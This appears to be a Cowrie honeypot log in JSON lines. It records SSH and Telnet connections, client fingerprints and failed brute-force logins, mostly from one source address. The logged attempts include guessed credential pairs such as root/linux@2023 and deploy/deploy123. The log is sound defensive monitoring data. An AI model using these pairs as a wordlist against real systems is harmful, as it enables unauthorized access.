{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:30.118573Z","src_ip":"43.153.37.39","session":"a1920cdcd633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux@2023","message":"login attempt [root/linux@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:30.426013Z","src_ip":"43.153.37.39","session":"a1920cdcd633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56250,"dst_ip":"159.203.135.109","dst_port":22,"session":"4078ec4d3620","protocol":"ssh","message":"New connection: 192.109.200.237:56250 (159.203.135.109:22) [session: 4078ec4d3620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:30.477736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:30.483130Z","src_ip":"192.109.200.237","session":"4078ec4d3620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:30.569951Z","src_ip":"192.109.200.237","session":"4078ec4d3620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:30.823932Z","src_ip":"192.109.200.237","session":"4078ec4d3620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:31.499050Z","src_ip":"43.153.37.39","session":"a1920cdcd633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:31.910517Z","src_ip":"192.109.200.237","session":"4078ec4d3620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56280,"dst_ip":"159.203.135.109","dst_port":22,"session":"31daa7e4e8a2","protocol":"ssh","message":"New connection: 192.109.200.237:56280 (159.203.135.109:22) [session: 31daa7e4e8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:33.807585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:33.813080Z","src_ip":"192.109.200.237","session":"31daa7e4e8a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:33.899408Z","src_ip":"192.109.200.237","session":"31daa7e4e8a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:34.229311Z","src_ip":"192.109.200.237","session":"31daa7e4e8a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:35.316038Z","src_ip":"192.109.200.237","session":"31daa7e4e8a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56298,"dst_ip":"159.203.135.109","dst_port":22,"session":"6846b6df513e","protocol":"ssh","message":"New connection: 192.109.200.237:56298 (159.203.135.109:22) [session: 6846b6df513e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:37.232419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:37.237328Z","src_ip":"192.109.200.237","session":"6846b6df513e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:37.333646Z","src_ip":"192.109.200.237","session":"6846b6df513e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:37.590649Z","src_ip":"192.109.200.237","session":"6846b6df513e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:38.681054Z","src_ip":"192.109.200.237","session":"6846b6df513e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38598,"dst_ip":"159.203.135.109","dst_port":22,"session":"10d3faee4ef8","protocol":"ssh","message":"New connection: 192.109.200.237:38598 (159.203.135.109:22) [session: 10d3faee4ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:40.555557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:40.560743Z","src_ip":"192.109.200.237","session":"10d3faee4ef8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:40.654706Z","src_ip":"192.109.200.237","session":"10d3faee4ef8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:40.907124Z","src_ip":"192.109.200.237","session":"10d3faee4ef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51612,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a3b3fd4a1ea","protocol":"telnet","message":"New connection: 152.42.224.71:51612 (10.17.0.5:23) [session: 0a3b3fd4a1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:40.941104Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:41.994364Z","src_ip":"192.109.200.237","session":"10d3faee4ef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38614,"dst_ip":"159.203.135.109","dst_port":22,"session":"90081deb0518","protocol":"ssh","message":"New connection: 192.109.200.237:38614 (159.203.135.109:22) [session: 90081deb0518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:43.848794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:43.853126Z","src_ip":"192.109.200.237","session":"90081deb0518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.148789405822754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:43.856210Z","src_ip":"209.127.178.212","session":"91603428e2bf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:44.059062Z","src_ip":"192.109.200.237","session":"90081deb0518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:44.352451Z","src_ip":"192.109.200.237","session":"90081deb0518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:45.437576Z","src_ip":"192.109.200.237","session":"90081deb0518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38626,"dst_ip":"159.203.135.109","dst_port":22,"session":"3348bb51e8c3","protocol":"ssh","message":"New connection: 192.109.200.237:38626 (159.203.135.109:22) [session: 3348bb51e8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:47.308815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:47.313886Z","src_ip":"192.109.200.237","session":"3348bb51e8c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:47.396394Z","src_ip":"192.109.200.237","session":"3348bb51e8c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:47.643656Z","src_ip":"192.109.200.237","session":"3348bb51e8c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:48.800418Z","src_ip":"192.109.200.237","session":"3348bb51e8c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37160,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfbd342fe287","protocol":"telnet","message":"New connection: 152.42.224.71:37160 (10.17.0.5:23) [session: cfbd342fe287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:49.155353Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41504,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ef2b339dcda","protocol":"ssh","message":"New connection: 192.109.200.237:41504 (159.203.135.109:22) [session: 5ef2b339dcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:50.596057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:50.601661Z","src_ip":"192.109.200.237","session":"5ef2b339dcda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.04176449775696,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:50.653409Z","src_ip":"209.127.178.212","session":"cbe38ef56d3a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:50.684521Z","src_ip":"192.109.200.237","session":"5ef2b339dcda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:50.933077Z","src_ip":"192.109.200.237","session":"5ef2b339dcda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:52.019421Z","src_ip":"192.109.200.237","session":"5ef2b339dcda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":36932,"dst_ip":"10.17.0.5","dst_port":22,"session":"70b362b0ce1e","protocol":"ssh","message":"New connection: 192.169.243.246:36932 (10.17.0.5:22) [session: 70b362b0ce1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:52.284114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:10:52.289505Z","src_ip":"192.169.243.246","session":"70b362b0ce1e","protocol":"ssh"}
